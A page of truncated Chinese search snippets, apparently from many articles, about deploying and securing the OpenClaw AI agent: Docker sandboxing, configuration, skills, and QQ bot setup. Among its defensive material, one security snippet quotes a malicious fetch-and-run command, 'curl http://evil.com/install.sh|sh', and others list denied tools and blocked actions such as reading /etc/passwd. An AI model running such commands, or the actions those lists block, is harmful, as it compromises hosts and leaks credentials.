:rw ports: - "127.0.0.1:18789:18789" # 仅绑定本地回环地址,禁止直接暴露公网 # 资源限制(普通 docker compose 模式下生效.../sandbox-data:/home/node/sandbox:rw 说明:若使用 Docker Swarm 模式,可将资源限制配置在...沙箱启动失败检查沙箱镜像是否构建:scripts/sandbox-setup.sh;若使用 network: none,确认沙箱内无网络依赖操作;检查容器资源限制是否过低:适当调高 memory/cpus...总结核心关键点版本管理:Docker 镜像无自动更新,生产环境必须固定版本标签(如 2026.2.22-beta.1),禁止使用 latest/beta;资源限制:普通 docker compose 模式下使用...替代 uuidgen,更通用;沙箱隔离:平衡安全性与可用性,生产环境推荐使用 bridge 网络 + 防火墙限制,而非完全禁用网络。
安装完成后进入配置向导,请根据提示依次输入以下信息: 如需修改Base URL、API Key及模型请参见如何修改 Base URL、API Key 及模型。...healthcheck 安全审计和系统检查 skill-creator 创建自定义技能 openclaw-browser-quality 高质量浏览器自动化 dingtalk-cron-job 钉钉定时提醒...安全特性 DM 配对保护 默认情况下,陌生用户发送消息会收到配对码,需要手动批准: 批准配对openclaw pairing approve 沙箱执行 支持沙箱模式运行不受信任的代码: 隔离的文件系统访问...受限的网络权限 资源使用限制 密钥管理 支持 OAuth 轮换 环境变量注入 密钥不进入 Prompt 进阶用法 1....为敏感操作启用沙箱模式 ⚠️ 注意事项 公开 DM 需要明确配置 dmPolicy: "open" 第三方技能视为不受信任代码 密钥不要放入 Prompt 或日志 生产环境建议启用配对保护 未来展望
4.2 第 2 层:自定义替换 OpenClaw 用自己的实现替换部分基础工具: exec / process 替换 bash(为了沙箱隔离) 自定义 read/edit/write(路径限制和权限控制...扩展机制:压缩保护与上下文修剪 OpenClaw 实现了两个重要的 pi 扩展。 6.1 压缩保护(Compaction Safeguard) 当会话历史过长时,系统会自动压缩以适应上下文窗口。...沙箱集成与 TUI 模式 8.1 沙箱模式 启用沙箱时,工具和路径受限: const sandbox = await resolveSandboxContext({ config: params.config...read/edit/write 工具 // Exec 在容器中运行 // Browser 使用桥接 URL } 沙箱隔离了 Agent 对文件系统的访问,适合多租户场景。...8.2 TUI 模式 OpenClaw 还有一个本地 TUI 模式,直接使用 pi-tui 组件。这提供了一个类似原生 pi 的交互式终端体验。 9.
攻击者可通过精心构造的沙箱逃逸技术,突破容器隔离限制,从普通用户权限提升至Root权限,完全控制宿主系统。某AI研究机构因未及时修复,导致核心训练集群被植入挖矿程序,直接损失超¥300万元。.../proc/proc/**r,#✅正确配置:限制/proc访问/proc/sys/**w,#禁止写入/proc/kcorerw,#禁止访问内核内存deny/proc/*/ns/**w,#禁止写入namespace...沙箱echo"[2/8]停止所有OpenClaw沙箱..."...风险评估:容器运行时风险等级说明防护建议OpenClaw严重safeBins配置缺陷升级到v1.3.0+Docker中等默认配置较安全,但自定义配置可能有问题使用DockerBenchSecurity检查...性能优化策略:展开代码语言:BashAI代码解释#Step1:审计模式收集基线#先以audit模式运行,记录所有系统调用aa-complain/etc/apparmor.d/openclaw-safebins
为了突破这一限制,OpenClaw 系统引入了一种革命性的架构范式:代理客户端协议(Agent Client Protocol, ACP)。...文章将重点解读 sessions_spawn 工具的高级用法、会话恢复机制、沙箱兼容性限制以及权限管理的非交互式解决方案。...通过构建可视化的架构流程图和状态机图谱,我们将展示 OpenClaw 如何作为一个强大的“元代理(Meta-Agent)”,动态调度外部算力,实现从“单次问答”到“持续工程协作”的跨越。...局限:缺乏对宿主操作系统的直接深层访问能力(除非特别配置),工具集受限于 OpenClaw 的实现。...### 6.1 沙箱兼容性限制 由于 ACP 进程需要直接访问文件系统和 Shell,它与 OpenClaw 的沙箱机制存在天然冲突: - **禁止从沙箱生成**:如果请求者会话本身处于沙箱模式
OpenClaw 的配置系统以灵活和强大著称,但丰富的选项也让新手望而却步。本文是一份实战导向的配置百科全书,收录了从“最小可用”到“企业级集群”的所有关键配置模式。.../模式 historyLimit: 50, // 上下文历史消息条数限制 }, queue: { mode: "collect...注意:使用前请核实 Anthropic setup-token 的服务条款限制。...工作专用 Bot (受限访问) 目标:仅在 Slack 特定频道响应,且禁用高风险工具。...深度安全加固 实施最小权限原则和强制沙箱。 { // 1.
本文将详细介绍两种主要使用模式:完整容器化网关 和 主机网关 + 代理沙箱,并提供配置建议、安全注意事项及高级用法。 一、是否该使用 Docker?.../docker-setup.sh 该脚本将自动完成以下操作: 构建本地镜像(或拉取远程镜像,若设置了 OPENCLAW_IMAGE) 启动首次配置向导 生成访问令牌并写入 .env 通过 Docker...核心特性 作用域:支持 agent(默认)、session(每会话独立)或 shared(共享,不推荐) 工作区隔离:工具在 /workspace 中运行;可选只读或读写访问代理主工作区 网络限制:默认无外网访问...可通过配置开启 WebGL、扩展或调整渲染进程限制。 2....权限问题处理 容器以 UID 1000(node 用户)运行。
如果你是开发者/极客:后半部分将深入架构原理,教你如何编写自定义技能,如何配置多智能体集群,如何进行性能调优和安全加固。...在此模式下,OpenClaw 的文件操作被限制在 ~/.openclaw/sandbox 目录内,无法访问你的主目录、系统文件或执行危险命令(如 rm -rf /)。...例如,如果当前是沙箱模式,尝试访问 /etc/passwd 会被直接拦截。 命令白名单/黑名单:对于 Shell 执行类技能,系统维护着严格的命令列表。...检查权限:确认 ~/Desktop 在允许访问的范围内(沙箱模式下可能是 ~/sandbox/Desktop)。...网络访问也被限制在特定的出站规则内。 8.1.3 网络沙箱 域名白名单:限制 AI 只能访问特定的域名(如 api.openai.com, github.com),阻止其访问恶意网站或进行内网扫描。
本地管理技能(Managed/Local Skills) 路径:~/.openclail/skills → 对本机所有代理可见,适合团队共享或自定义覆盖。...安全提示:密钥仅注入主机进程,不会传递至沙箱容器。若技能在沙箱中执行,需确保容器内已配置相应凭证。...六、沙箱环境中的技能执行 当代理启用 Docker 沙箱 时: 主机上的 requires.bins 检查仅验证主机环境。 若技能需在沙箱内运行(如调用 CLI 工具),容器内也必须存在对应二进制。...解决方案: 使用 agents.defaults.sandbox.docker.setupCommand 在容器启动后安装依赖; 或构建预装工具的自定义沙箱镜像。...路径限制:工作区与额外目录中的技能,其真实路径必须严格位于配置根目录内,防止路径穿越。 权限最小化:高风险操作应强制在沙箱中执行,并限制网络与文件系统访问。
今天分享如何通过腾讯云轻量应用服务器(Lighthouse)一键部署并快速对接 QQ 机器人。...地域建议:若主要用于对接 QQ,建议优先选择国内地域,以确保与腾讯 API 通信的稳定性。 配置模型:部署完成后,在应用管理界面配置你的 LLM API Key(如 DeepSeek、GLM 等)。...沙箱设置:由于 QQ 侧政策,目前主要支持单聊场景测试,需将自己的 QQ 号加入沙箱测试名单(默认自动增加 QQ号)。...网络模式:确保 OpenClaw 容器可以正常访问外网(尤其是 GitHub 和腾讯 API),否则插件下载或消息接收会失败。...• 群聊限制:受平台政策影响,QQ 机器人的群聊配置目前可能受限,建议优先以单聊或频道模式作为主要交互场景。
摘要: OpenClaw 作为一款运行在本地的个人 AI Agent,为测试开发等领域带来了智能化新范式。然而,当团队希望将其引入企业环境以提升研发效能时,必须面对一系列关键挑战:如何安全地部署?...如何管理其依赖的各类 API 密钥(如 LLM、内部系统)?如何确保其行为符合企业安全策略?...初步结论 OpenClaw 具备巨大潜力,但绝不能直接在生产或高敏环境中使用。必须建立一个“沙箱化”的、受控的部署方案,并配套严格的密钥管理策略。...网络隔离(可选但推荐): 通过防火墙规则,限制该机器只能访问必要的外部服务(如 OpenAI API、GitHub)。 禁止其直接访问内网数据库、K8s 集群等核心资产。...第四部分:行为约束与监控 即使有了安全的密钥,仍需防止 OpenClaw 被滥用。 1. 指令白名单/黑名单 在 OpenClaw 的配置中,可以限制其可执行的 Shell 命令。
│ └──────────────┬────────────────┘ │ ├─ Pi Agent(嵌入式 AI 运行时,RPC 模式...启动内存服务(server-startup-memory.ts) 3.3 WebSocket 协议设计 Gateway 使用自定义 WS 协议,核心方法分为: 控制平面方法:sessions.list...agent.text、agent.tool_call、session.update 方法权限通过 method-scopes.ts 进行细粒度控制,不同角色(owner/user/guest)拥有不同的方法访问权限...四、Pi Agent:嵌入式 AI 运行时 4.1 架构设计 Pi Agent 是 OpenClaw 的 AI 执行引擎,采用嵌入式 RPC 模式运行,与 Gateway 通过内部 RPC 通信,而非外部...─ sessions_send() → 向其他会话发消息 10.2 子 Agent 注册表 src/agents/subagent-registry.ts 管理所有子 Agent 的生命周期: 深度限制
Q20:OpenClaw沙箱Sandbox seed的安全限制有哪些?...Q15:如何设计Agent的工具权限策略? A:采用白名单机制、分级权限(只读自动执行,写入需确认)、沙箱隔离、调用频率限制、全流程审计日志。...Q19:OpenClaw如何限制Multi-Agent的资源占用?...A:市面常见错误表述为“沙箱是隔离运行环境”,正确定义:OpenClaw沙箱是读写权限隔离+路径限制+软链接拦截的安全容器,仅允许访问Workspace目录,禁止访问系统目录、外部文件,阻断沙箱逃逸,防止...A:市面错误表述为“沙箱复制所有文件”,正确细节:OpenClaw沙箱初始化时,仅复制Workspace内的普通文件,强制忽略所有指向外部的软链接、硬链接、快捷方式,禁止沙箱访问宿主系统核心路径,彻底阻断沙箱逃逸
访问 Web UI 打开浏览器:http://localhost:8080 2....保存即生效 - OpenClaw 开发模式自动热重载 - 终端日志: ```log Loaded new skill: get_weather 六、Web UI 测试端到端流程 1....点击 Approve OpenClaw 在 Docker 沙箱中执行命令 返回结果: Beijing: +22°C 4....篇:exec.ts 下篇 —— 用户审批、后台任务与权限提升控制 第 12 篇:process.ts —— AI 如何像开发者一样管理后台进程 第 13 篇:安全边界设计 —— OpenClaw 如何防范...第 19 篇:可观测性工程 —— ws-log.ts 如何让 WebSocket 日志可读可用 第 20 篇:从零部署 OpenClaw —— 实战:接入 WhatsApp + 创建自定义 Skill
更危险的是插件(Plugins)与自定义技能,作为接入决策链的外部模块,一旦存在漏洞,整个应用的安全防线就会崩塌。...一、 核心防线:Docker 沙箱环境 OpenClaw v2026.1 引入了 Docker 沙箱,这是隔离风险的最有效手段。...限制容器权限 在项目根目录创建 docker-compose.yml,重点在于剥离特权和限制网络: version: '3.8' services: openclaw: image: openclaw...在控制台勾选“仅允许 HTTPS 访问”并限定特定 IP 段,即可快速收敛端口暴露面,将 OpenClaw 的管理后台隐藏起来。...通过 Docker 沙箱隔离环境、严格的密钥管理以及 Lighthouse 的基础设施防护,你可以构建一个既灵活又坚固的 OpenClaw 应用,有效抵御绝大多数针对 AI 的自动化攻击。
(图:QQ 机器人开发管理界面,显示 AppID、AppSecret 生成及 IP 白名单配置)配置 IP 白名单与沙箱模式在 QQ 机器人“开发管理”页面,找到“IP 白名单”。...向机器人发送消息,如“你好”或“明天天气如何”。若 OpenClaw 正常回复 AI 内容,则配置成功。这里可能会出现403的错误,根据提示,我们需要访问对应链接,购买资源包和开通后付费服务。...对于 A 股,可依赖内置浏览器工具,无需额外 Skill;进阶用户可自定义 Python Skill 集成 akshare/baostock。...实现方式一:浏览器工具抓取 A 股实时数据OpenClaw 内置浏览器自动化工具,可模拟人类操作访问财经网站,抓取早盘/尾盘数据。...A股进阶(Python 集成):OpenClaw 支持 Python 沙箱执行,可临时安装 akshare。
凭证集中管理:OpenClaw配置、聊天日志和记忆文件以明文形式存储API密钥、OAuth令牌、密码等敏感凭证。...明文存储敏感信息:API密钥、OAuth令牌、密码等以明文形式存储在~/.openclaw/目录下,任何获得系统访问权限的攻击者可直接提取。...YouTube摘要、GoogleWorkspace集成等刚需工具诱导执行:在文档中嵌入混淆的shell脚本(如curlhttp://evil.com/install.sh|sh)权限越界:用户执行后,恶意程序突破沙箱限制...(二)系统安全防护策略1.优化系统架构设计开启沙箱保护(核心措施):推荐从仍然有效的最小访问开始,然后随着你获得信心再扩大范围。...allow":["memory_search","memory_get","sessions_list"],"deny":["exec","process","浏览器","write","edit"]}}}}沙箱能够限制程序的运行环境和权限
快照系统:AI 如何"看懂"网页 快照是 browser 工具的核心能力。...审批配置(ask: off/on-miss/always) 用白话解释: deny 模式:直接拒绝所有命令 allowlist 模式:只有白名单里的命令能执行 full 模式:完全信任(危险,慎用)...}, }, }, } 沙箱模式下,命令在容器里执行,不会影响宿主机。...skill list 扩展性:插件和自定义工具 插件系统 插件可以注册额外的工具和 CLI 命令: // openclaw.plugin.json { name: "my-custom-tools...从技术角度: 类型化设计:避免了 shell 注入等安全问题 多层安全机制:exec approvals、沙箱、工具策略 灵活配置:三级权限、预设 profile、自定义工具组 生态友好:Skills
OpenClaw 的应对哲学是:默认不信任任何来自 LLM 或工具的输出。 二、第一层防御:沙箱逃逸防护 即使使用 Docker 沙箱(见 exec.ts 上篇),仍需防范高级逃逸技术。 1....SecurityOpt: [ "no-new-privileges", // 禁止提权 "seccomp=unconfined-profile.json" // 自定义...Tmpfs: { "/tmp": "size=64m" }, // 临时目录内存化 Ulimits: [{ Name: "nproc", Soft: 32, Hard: 32 }] // 限制进程数...Seccomp 白名单策略 自定义 unconfined-profile.json 仅允许必要系统调用: { "defaultAction": "SCMP_ACT_ERRNO", "syscalls...七、未来方向:动态行为分析 当前机制以静态规则为主,未来将引入: 运行时行为监控:检测异常系统调用模式 输出语义分析:用小型本地模型判断是否含凭证 用户反馈闭环:标记误报/漏报,持续优化规则 但核心原则不变
OpenClaw 可以同时管理多个 Claude Code 实例,每个实例处理不同项目;而 Claude Code 不需要操心"如何跟 Discord 通信"这种事,专注做好代码工作。...沙箱限制:一个重要的坑 官方文档明确指出: ACP sessions currently run on the host runtime, not inside the OpenClaw sandbox...实战配置:Discord 自动化工作流 来看一个完整的配置示例,展示如何在 Discord 上实现任务自动化。...agent "" is not allowed Agent 不在白名单 更新 acp.allowedAgents 列表 Sandboxed sessions cannot spawn ACP 沙箱限制...改用 runtime="subagent" 或从非沙箱会话启动 Permission prompt unavailable in non-interactive mode 权限模式阻止操作 检查 permissionMode